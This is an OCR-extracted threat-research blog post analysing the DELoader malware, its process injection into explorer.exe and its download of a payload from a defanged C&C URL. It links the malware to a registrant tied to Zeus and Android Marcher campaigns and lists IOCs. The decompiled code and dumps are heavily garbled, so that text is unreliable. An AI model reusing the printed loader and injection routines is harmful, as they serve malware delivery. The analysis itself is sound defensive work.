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Last week, an unidentified malware (with SHA-256
171693ab13668c6004a1e08b83c9877a55f150aaab6d8a624c3f8ffc712b22f0b) was
discovered and circulated on Twitter by researcher @JAMES_MHT. Many researchers -
including us - were unable to identify the malware so we decided to dig a bit further.

In this post, we will share our findings about this malware: its targets, technical analysis, the
related attacks and the threat actor behind it.

Targets
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One of the first things we wanted to know is if this malware has a specific target—thanks to
researcher @benkow_ some open directories on the malware C&C were discovered. One of
the open directories contained logs of victim IPs and computer names:

L C' [} resdomactivationa.asia/ | N

2.193.32: mMl-7506A21817_7875768FFB337D9E.
2.193.32: 199579,

L32.142: 3184186368.

.32.142: 2733825285.

.32.142: I 1F5055E907E41420: need new loader.
.32.142: N 1F3DS9ESD7EALAZD.

.32.142: 1059652,

.247.208: 0.

.247.208: 2733826285.

247, 200; I 14E9C32062DE5185: need new loader.
.247.200: GEEEEE 14E0C32D62DES185.

.132.67: S85525841.

While there are not that many IP victims logged on this particular C&C, a look-up on ipintel.io
showed a concentration of victims from Germany and Austria:

e g
Denmark @ thhuanla \T/\_r W
Map Satellite
= Vllnlus
Minsk
Minck
®
Belarus
Poland
AM stgrd Warsaw
LJ\‘«BE g\k\]\ \Mi
Rans Ukraine

}\Budapesi / Na. Vo0 /n{\'mldma L)

Dhlsmau@ i‘_‘Ddessa

) e
Milan ®Zagreb _ Romania ¢ =
G I Elelgradg_

o g = WMap data 2016 GeoBasis-DE/BKG | %-"{JI.'.‘?" Cccgle Inst. Geogr. Nacional, Mapa GlSrael. ORION-ME  Terms of Use Report a map error

2 Hungary
France Switzerland

Incidentally, a quick dump of the malware code reveals the string “my_de” and “my_botnet”
where the “de” in the first string may refer to Germany’s country code:
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https://twitter.com/benkow_

18887324: &C 45-80 A8-18 A8a-BED 1<eE 1 nzpy
188@7334: 16 45-6D 64-65 aa-aa =7efmy_de | 1
18887344: 8@ A8-868 A8-868 A8-868

188@7354: @A aa-aa aa-aa Aa-6@ * i
18887364: 8@ A8-868 A8-8a8 Aa-11 b || 4
18887374: CC aa-aa Aaa-EBA aa-7D 151 a3 > 1G

1AAA7384: 6D 62-6F 6574 aa-2@ my_hotnet |3 BE)
18AA73%4: 6@ 7C—FF FF—-a@a aa-2D - - El
iA8873n4: 68 aa-De 7C-B? Ba-F@a Tt tHilnp ||
18AA73B4: 8C aa-Da 0a—18 aa-ac igt “gm t
iAAA7?3C4: EB aa—42 68-74 In—2F Gt B http:/ re
6D 62-65 6574 6179 memhermetodayd. a

Due to this and the results of our analysis below, we tagged this malware DELoader
(detected as W32/DELoader.Altr).

DELoader Analysis

In a nutshell, DELoader’s primary purpose is to load additional malware on the system. It
does this by initially creating a suspended explorer.exe process:

Bodnlaod| | Bonded fene DUORDT PTR SSTIESF], Er U S Y- FEEAO

; : . FST @888 Cond @ @ B @ Err BB B QA
. FFDA CALL ERX kernel32. CreateProcessA

EIEUVERH] | CEDE T T FCIl B27F Prec MEAR,53 Mask 111

oo4e127E|| . eFscce SETNE AL

aa4a137E|| - Fr3aza PUSH_OWORD PTR S5: [ESPI

mo4m13st|| . sE POP ESI

madp1zs2|| - Esec Fo SUE ESP, —4

padp13ss|| . co LEAVE

podp1zse|L CE FETHN -

HAAdi1 L IHT

EAX=FEF22822 (kernel32.CreateProcessH)

Addre=s |[Hex dump ASCII ~ BELZFASS( ASCIT "CrwWindows~enplorer. ene™

DO1ZFAGE| 43 2A GC G763 6E 64 &F 77 72 GL 65 7E 7@ &L &F| C:~Windows-enplo e Eceaacas

BO1ZFATE| 72 65 72 2E| 65 78 65 G@|6F 72 65 7E|2E 65 78 €5|rer.ewe.crer.ene i e oaoas

A012FASE| @@ FE 17 BB @@ @3 B8 B8 5@ 16 20 @8 38 68 14 B8 .r4..... Pe—. . 1. i e oaoas

A012FASE| 5@ B B0 77 B3 AR BA AR OA B8 A0 AE 34 B5 BO 77| Pdew........ 4d.u e e

AE1T2F002I AR AR 14 AR CF 14 G1 F?2 48 16 rE 42 0O FFE AR 2N q WNEArFETRriie

It then proceeds to decrypt an embedded DLL from its body and inject it into explorer.exe:

3/13



pa4e2ed4e|l . 5F
BE4E2647 || . 2BF?
AE4E2649) ) > BDACIT
BE4E264C) | . BAB431
Qad4Eze4F || . 3203
aa4Eze51|] .« 8881
AA4E2653|] . Cl45 14
BA4EZEET =1]
Ba4E2652)| . 8B45 14
BA4E26EE|] . 270424
BR4B265E|| . BBI1C24
BE4E2661| . B83C4 64
Qad4ezeed || . B30A
aa4Ezeee|| . S3ER FF
Ba4E2663 || . 33C4 FC
Bad4EzeEC|| . 53
pa4E2eel)| | - BFB424
BR4E26FE|l . BF45 14
BR46E2673)| . 3BES 14
5[5 s .~ FCOO1
A6 J| . SB3Cz24
HE4EZ6FE|] « G304 84
BA4E267E|| . 3B3424
AE4Ez621] . 33C4 84
Ba4E2634)1 . FF3424
Ba4E2637 || . 5B
aa46263:3)| . 83EC FC
BR4E263E || > BB2C24
Ga4B262E | .« 2204 B4

as

POP EDI

SUB ESILEDI

FLEA ECH,0OWORD PTR DS:CEDI+EDA]
MOU AL, BYTE PTR DS: [ECH+ESI]
A0R AL, EBL

MOV BYTE PTR DO5: [ECKI, AL

ROL ODWORD FTR S55:[CEEBF+141.5
FUSH ERX

MOU ERX,OWNORD PTR S5:CEEF+141
ACHG _DWORO PTR SS5:[ESP1, EQX
MOU EBX, DWORD PTR S5:CESF]
AOD ESP, 4

AOD EEX, EDR

SUE EDH, -1

AOD ESF, -4

FUSH EEX

FOP DWORD PTR S5:LESF]

FOP DWORD PTRE S5:[EBP+141]

CHMP EDX, OWORD PTR S5: CEEF+161

L.l SHORT 1_1.864626549
MOY EDI,DOWORD PTR SS5:[ESFI
AOD ESF, 4

MoU ESI,OWORD FTR SS:LESF]
AOD ESF, 4

PUSH OWORD PTR S5:CESF]
FOP EBEX

SUB ESP, -4

MOU EEF,OWORD PTR SS:[CESF]
AOD ESP,

Stack S55:[0012F30CI=0008480E8

EDI=E8Z0EL1ER

Address |Hex dump

Aaz0E1EA| 40 SA 98 &8
BEZOELFE| BS BB B8 @8
BEZOEZEE) AR BB BE 88
CEZOBZ1G6) B8 BR BE Q8
BEZ0B22E)| BE 1F BA GE
BEZ0OBE228) 69 73 268 74
GEZ0EZ48)| 74 28 &2 65
AEZ0EZ5E| 60 &6F &4 65
aaz0EZ68| EF EE B3 57
BEZ0EZ7E| 57 F2 DF 84
BEZ0EZ22E) B 2F &7 84
HEZOE22E) CO &1 AC 84
BEZ0B2AA) 52 69 63 &3
CEZOEZEA| B8 BR BE Q8
GazDEZCA) 58 45 08 88
BAZ0EZ0E| B8 BB B8 a8
AAZ0EZER| BE 23 B8 a8
BEZOEZFE) B8 40 B8 88
BEZ0EZAE) B BB BE 88
CEZOEZ1E) B8 20 BE Q8
BEZ0OB3I26) B8 BB 16 68
CEZ0OE220) B8 BB G668 Q8
Gaz0DEZ48) 35 4B 08 848
BAZ0EZ5AE| B8 BB B8 a8
BEZ0EZEE| B8 7R B8 88
BEZOEZYE| B8 BB B8 88
BEZOEZ2E) B8 OB GG 88
BEZOBI9E) BB BB GG 88
CEZOBIAGE) B8 BB BE Q8
CEZOEZEA| B8 BB BE Q8
GazDEZCA| 4E 26 08 88
BAZ0EZ0E| B8 BB B8 88
BAZ0EZER| 2E v2 64 61
BEZOEZFE| BE 12 B8 88

The injected DLL then attempts to download a file from the link

hxxp://remembermetoday4.asia/00/b.bin:
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if { vi2 == 443 )
recult = (HINTERHET) Bx800000;
uls4 = HttpOpenRequestA(
vi3,
"GET",
UrlComponents.lpszUrlPath,
"HTTP/1.1",
a,
&lpszhcceptTypes,
{unsigned int)result | BxB4B8ACTAA,
8);
if { tuih )
goto LABEL_38;
if { vi12 == 443 )
{
Buffer = 8;
dwBufferLength = &4;
if { InternetQueryOptionW{u14, Bx1Fu, &Buffer, &dwBufferLength) )
{
Buffer |= Bx3188u;
InternetSetOptionW{vih, B8x1Fu, &Euffer, hu);
H
} -
ul5 = get_str_len{"Connection: closeZrin™};
if { HttpSendRequestA({vi4, "Connection: closeyrin™, vi5, 8, B) )

Buffer = Ox80000;
if { (unsigned int)a3 >= Ox80888 )
{

while { InternetReadFile{ui4, {char *)u9 + a2, 0x88000u, (LPDYORD)Y&Buffer) )}

if { *Buffer )
{
e = 1;
break;
H
ue = {char =)u? + Buffer;
Buffer = Bx80008;
if { {unsigned int){(char =)ul + BxB888BB) > a3 )
break;
H
H
InternetCloseHandle{uvil});
InternetCloseHandle{hInternet};
InternetCloseHandle{uvi19);
result = 8;

Upon the time of analysis, the malware C&C was already sinkholed. Code-wise, the malware
expects to download a portable executable (PE) file as it validates the MZ header of the
downloaded file. If valid, this PE file is then copied to a newly allocated memory:
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[[If { *( WORD =)az *= '2H' ) ]
return o,
vid = ai;
uly = a2 + ={ DUDRD =)}{a? + offsetof{IMAGE_DOS HEADER, e 1fanew)}};
uS = ®{ DUDRD =){uvi + Bx58);
ul3d = a2 + ={_ DWORD =}{a? + offsetof{IMAGE_DOS_HEADER, e_lfanew});
v = Uirtualalloc(B, ={ DWORD =){ul + Bx58), Bx3000u, Yu);
uiy = uh;
if { tuh )
return 8;
memset{uwid, v, uvid);
sub_1888288C(v7, {const void =)a?, =({ DUDRD =){uvi + ﬂth}};
ul2 = ={ WORD =){uvlh + &);
if ( *={ WORD =){uvh + &) )}
{
VirtualFree{v?, 8, B8x8888u);
return 8;
¥
if { (signed int)={ WORD =){ulk + 6} > B )
{
vg = (int){{char =)u7 + ={ DUORD =){aZ? + 68) + 280);
do
{

MZ file validation

vl = =({ DWORD =)ui;
uls = B;
if ( ={ DWORD =)ug )}
{

vl = 1;

if ( v9 > =( DUDRD =){v& - 8) )

u9 = *{ DWORD =){vg — 8);

H
else
{

u? = =({ DUWORD =){u13 + Bx38);
¥
ull = {char =)u? + ={ DUWORD =}){uvd - L};
memset{uiL, 0o, uvii);
if [ vis )

sub 1880288C{u14, (const void =){u2 + ={ DWORD =)(uvd + 4)}, vl);
ug += 48;
-—ui2;

H

It then searches for instance of a running explorer.exe process where it then injects the
downloaded file using CreateRemote Thread API:
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phExplorer = search_explorer{8);
phExplorer2 = phExplorer;
if ( phExplorer )

v7 = UirtwalnllocEx{phExplorer, B, =*={ DWORD =*){a1 + 52}, B8x<30088u, 4u);

u17 = u7;
if ( w7 )
{

ud = *{_ DWORD =){al + 52);
Number0fBytesWritten = 8;
if ( WriteProcessHemory(phExplorer2, v7, =(LPCUDID =)(al + 48), uS, &NumberOfBytesWritten) )

if ( HumberOfBytesWritten == =(_DWORD =){al + 52) )
{

u9 = sub_108829B5{v3); |

nsize = u9;

u18 = UirtualpllocEx{phExplorer2, B8, v9, O0x3000u, 6x48u);
it = vi@;

if § vig )

{

HumberODfBytesWritten = 8;
if ( WriteProcessHemory{phExplorer2, v18, v3, nSize, &NumberOfBytesWritten) )

if ( HumberOfBytesWritten == nSize )

lpBasefddress = UirtualhllocEx{phExplorer?2, @, BXCECu, 8x3008u, hu);
if ( lpBasefAddress )

{
sub_188M1CoD (&Buffer);
vi9 = vui5;
u2@ = ui7;
v21 = =({_DWORD =){al + 52);
u2d = a2z | ax18;

if { dword_10888604C )
sub_188828B8C(&v22, {(const void *)dword_1808664C, 6x4B8u);
u11 = 1pBasefddress;
NumberDfBytesWritten = 8;
if ( WriteProcessHemory({phExplorer2, lpBasefddress, &Buffer, @xCECu, &MumberOfBytesWritten)
|| Mumber0fBytesWritten ?= nSize )
{
v12 = sub_18882DF4{{int)vd, " Run@y4");
if { vi2 )
{
u? = @z
if { CreateRemoteThread(
phExplorer2,

a,

a,
(LPTHREAD_START_ROUTINE}{ {char =)vi15 + v12 - (_DWORD})v3},
uil,

a,
8y 3

DELoader’s routine doesn’t tell much about its intentions since its payload simply installs an
additional PE file. This PE file could be any malware, or simply an updated copy of itself.

Either way, it leads us to the next question — what is the motive behind DELoader?

Related Attacks

The registrant information of the malware C&C, resdomactivationa.asia, leads us to the
next clue:
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Registrant ID:DI_46547487
Registrant Mame:Aleksandr Sirofimov
Registrant Organization:N/A
Registrant Address:Moyakovskogo 37
Registrant Address2:

Registrant Address3:

Registrant City:Moscow

Registrant State/Province:Moscow
Registrant Country/Economy:RL
Registrant Postal Code:53462
Registrant Phone:+7.532462362
Registrant Phone Ext.:

Registrant FAX:

Registrant FAX Ext.:

Registrant E-mail:sir? 77 zlex@outlook.com

The registrant details list someone named Aleksandr Sirofimov from Russia. Of course, we
certainly don’t know if Aleksandr is a real person, a stolen identity, an alias for a group, or the
‘nom de guerre’ of an individual cybercriminal. However, the important thing is that these
same registrant details have been frequently used in the past to register malicious domains.

Below is an overview of some of the related attacks we were able to correlate using the
email address sir777alex@outlook.com:
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From the above graph we can extract the infection chain for DELoader, which is delivered
through malicious JavaScript downloaders:
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invoice_f4 6423.zip invoice_ij 6423 .zip
5dcf9d4c6b3c683364ch4c70308aRese826a29f9ef755398e7feBe34f404437 5dcf9d4cbb3c683364ch4c70308a a29f9ef755398e7fe8e341404437
8423 js ) \
2764411964984 1edBcEB76bT58e8 5”7773"" com

e

e

invoice @ 61086 js invoice_§d4329
8c3abc2c80bad7c32a81364cdbcb cbilb80a81a8cd798e6591b26a07db5 beclaadddeddal29caed 8fdbaiIbySa024

http:!!mas in.net/00/b.exe

103c6f425cfcd5eb935136f8c4ceFIDIS5ERT4545bc6h7947039405164d46b0d
DEBa resdol na.asia
\ '//

http:ﬂresdoma‘ asia/00/cp.php

Since the JavaScript downloaders come from ZIP files with “invoice” themes, it is more or
less sent to victims as an attachment to malicious emails.

/

Furthermore, the above correlation enabled us to identify that the actor (or actors), using the

name “Aleksandr,” registered malicious domains as early as the 3™ quarter of 2015, while
DELoader first surfaced by at least February of 2016.

One of the malicious tools “Aleksandr” used is a Zeus variation — an infamous banking

Trojan whose source code was leaked five years ago. Here is a graph of some of the related

Zeus variants out of the many Zeus C&C domains “Aleksandr” registered:

fb7d51cd0BOMDDE0BASSS

SIrT77alex@outionk com

3057dd5268adb575h414384a7 34811236004 969880041100 285 dC5T 05710875
ZeuS variation

B53eedbRedeTlBeasaTial

623188107 0db4cS6N 5743cac8703da68C1 412835720071 0b1d08C 232900
2euS varlation

c03864334d07583a1 £202d3c6d5! 73958438151 ac 25 2fac 3000023504
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An online search of the domain goodvin77787.in leads us to this blog. The blog talks about
a DHL-themed Zeus campaign targeting German-speaking users where all the related Zeus
C&Cs were registered using “Aleksandr’s” details.

So we now know that person or persons behind “Aleksandr” have been (or are still) involved
in a malicious campaign for stealing banking credentials. True to the nature of DELoader, the
previous campaign also targeted German-speaking users.

Are German-Speaking Users "Aleksandr’s” Only Target?

Another domain the individual or group known as “Aleksandr” registered is bestbrowser-
2015.biz. This domain was used as a C&C server for Android Marcher variants — an
Android banking Trojan sold on Russian underground forums:

sirf77alex@outlookcom

&/

besthrowser-2015.biz

RN

- &
- -
42af606eaffe5290201 ch90336b55cd22eTT4T A6 TELET effI4d7hET0f9dY 21 Galcacaleds0fed128alasfeeefldbd822dc3chf388de24836292af8 a4 6Mbf
Android Marcher Android Marcher

Interestingly, these trojans were configured to steal credentials from Australian banks. Below
is a code snippet from one of the Android Marcher samples:

protected void onCreate (Bundle paramBundle)
{
super.onCreate (paramBundle) ;
Log.d("Mainfictivity"™, "onCreate™);
d.c(this, true):
d.b{this, "[{\"to\": \"co

if (MainService.a == null)

{
MainService.a = ((PowerManager)getSystemService ("power")).newWakeLock(l, "main service wakelock"):
MainService.a.acguire():
MainService.b = ((WifiManager)getSystemService ("wifi")).createWifilock(l, "MyWifilock"):
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It is worth noting that these Marcher variants surfaced around the same time “Aleksandr”
was running Zeus campaigns in the 3" and 4" quarter of 2015. This suggests that he was
running his malicious regional campaigns simultaneously.

Conclusion

While DELoader is a relatively new malware, the findings in this research demonstrate that
the threat actor behind it has actually been around for quite some time, and has left a
substantial amount of fingerprints over the Internet.

Historical information shows that the individual or group using the name “Aleksandr” have
been involved in bank information theft not only of German-speaking users, but have also
targeted Australian users. It is possible that DELoader may be used to aid in similar
purposes in the future.

We are unable to confirm the legitimacy of “Aleksandr’s” registrant details, or if he (or they) is
working with a group. We may, however, have an idea on where “Aleksandr” is located.

Earlier, we showed that the geolocations of DELoader victims were concentrated in Germany
and Austria. You might have also noticed that one of the IPs deviated from that area — it
resolved to Kiev,Ukraine:
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This is odd since German is not a common language in Ukraine. So we theorized that this
anomalous event may be due to someone testing the DELoader.

To test our theory, we looked up the IP in the C&C logs to find more information. Can you
find the interesting string in the IP’s computer name below?
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92, .94 1322261341,

.94: 2733826285,
9. .94: ATFEXANDRTOKZ5B1 E6GBABOE4CFZSF944.
92. .94 1040.

High five if you found “ALEXANDR”.

-= FortiGuard Lion Team =-

I0Cs

DElL oader SHA-256 hashes (all detected as W32/DELoader.Altr):

72faed0Obc66afe1f42bd7e75b7ea26e0596effac65f67cO0ac367a84ec4858891
5d759710686db2c5b81c7125aacf70e252de61ab360d95e46cee8a9011¢c5693f
c16281¢c83378a597cbc4b01410f997e45b89¢c5d06efada8000ff79c3a24d63ca
171693ab13668c6004a1e08b83c9877a55f150aaabd8a624c3f8ffc712b22f0b
bafee15a022fcdb12cc791dd02db0ec6beb2e9152b312b2251f2b8ecfe62e03c
103¢c6f425cfcdb5eb935136f8c4ce51b9556974545bc6b7947039405164d46b0d
cec73c7b54¢c290b297a713e0eb07¢c7¢c2d822¢cc67ed61b9981256464273d63892

Domains registered by sir777alex@outlook.com:

yberprojects22017.info
masterhost8981.asia
nov15mailmarketing.in
auspostresponse22.asia
goodwinn8.asia
mastehost12312.asia
masterhost1333.asia
marketingmas.in.net
remembermetoday4.asia
startupproject33676.asia
bestbrowser-2015.biz
marketing5050.asia
marketingking878.asia
yidckntbrmhuuhmq.com
resdomactivationa.asia
ukcompanymarketing.asia
goodvin77787.in
Jajajakala8212.asia
masterhost122133.asia
masterj.in
lalalababla.asia
responder201922.asia
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cyberprojects2727.info
super-sexy-girl2015.net
Jxsraxhlccokkrob.com
mastehost88832.asia
masterlin888.pw
mamba777.in
copolsox.us
10cyberprojects2016.asia
startupproject336.asia
masterhost122133.asia
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